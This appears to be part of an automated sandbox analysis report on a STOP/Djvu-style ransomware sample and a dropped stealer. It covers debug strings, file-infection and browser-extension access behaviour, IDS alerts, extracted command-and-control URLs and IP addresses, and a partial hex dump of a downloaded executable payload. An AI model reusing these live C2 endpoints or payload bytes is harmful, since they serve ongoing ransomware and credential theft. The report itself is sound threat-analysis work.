n8XBpFdVFU.exe, 00000004.00000003.2069103439.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059760801.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121612669.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101796621.00000000030F7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099907699.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078426315.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142226856.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142702841.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141980062.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\` source: n8XBpFdVFU.exe, 00000004.00000003.2071451978.0000000009B69000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071182867.0000000009B5C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\*s source: n8XBpFdVFU.exe, 00000004.00000003.2106510342.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100109727.0000000009B69000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108897875.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101405775.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109151039.0000000009BD3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\yewy\-1 source: n8XBpFdVFU.exe, 00000004.00000003.2144827075.0000000003172000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142123470.0000000003172000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\es-PA\od.pdb\we\ source: n8XBpFdVFU.exe, 00000004.00000003.2145077667.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145361996.0000000003441000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2144578065.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145621566.0000000003442000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2113856909.000000000343C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071182867.0000000009B5C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071336604.0000000009BD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\$?![ source: n8XBpFdVFU.exe, 00000004.00000003.2106068116.00000000033C9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2116466525.00000000033DE000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115561835.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113856909.00000000033C5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\1 source: n8XBpFdVFU.exe, 00000004.00000003.2069198746.0000000009AAC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069697484.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\% source: n8XBpFdVFU.exe, 00000004.00000003.2009335239.0000000009A9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\he\ source: n8XBpFdVFU.exe, 00000004.00000003.2060155956.0000000009C4A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb39763.txt source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\' source: n8XBpFdVFU.exe, 00000004.00000003.2142420963.0000000009B5B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142553306.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141852209.0000000009B54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\t1 source: n8XBpFdVFU.exe, 00000004.00000003.2144827075.0000000003172000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142123470.0000000003172000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\y\. source: n8XBpFdVFU.exe, 00000004.00000003.2078347231.00000000032AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\20\I source: n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2068232540.0000000009C52000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077545355.0000000009C61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ic source: n8XBpFdVFU.exe, 00000004.00000003.2121667319.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120515722.0000000003362000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2101356229.0000000003342000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101753875.000000000335B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\H source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\pData\ source: n8XBpFdVFU.exe, 00000004.00000003.2110021530.0000000009B50000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106306318.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108149637.0000000009B42000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107832891.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\* source: n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009C61000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109105130.0000000009C82000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106911528.0000000009C61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ta source: n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\Er source: n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009AD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\B source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\? source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\2z source: n8XBpFdVFU.exe, 00000004.00000003.2106510342.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100109727.0000000009B69000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108897875.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101405775.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\y source: n8XBpFdVFU.exe, 00000004.00000003.2077978681.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Q source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\aB source: n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1801653331.000000000319B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2009335239.0000000009A9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjsq source: n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*29 source: n8XBpFdVFU.exe, 00000004.00000003.2099907699.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1878224941.000000001E908000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\&G source: n8XBpFdVFU.exe, 00000004.00000003.2068684614.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070809171.00000000032C3000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html			Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe			Jump to behavior

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49733 -> 175.119.10.231:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49733 -> 175.119.10.231:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49735 -> 211.119.84.111:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 211.119.84.111:80 -> 192.168.2.4:49735
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 211.119.84.111:80 -> 192.168.2.4:49734
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49736 -> 211.119.84.111:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49736 -> 211.119.84.111:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 15:46:59 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 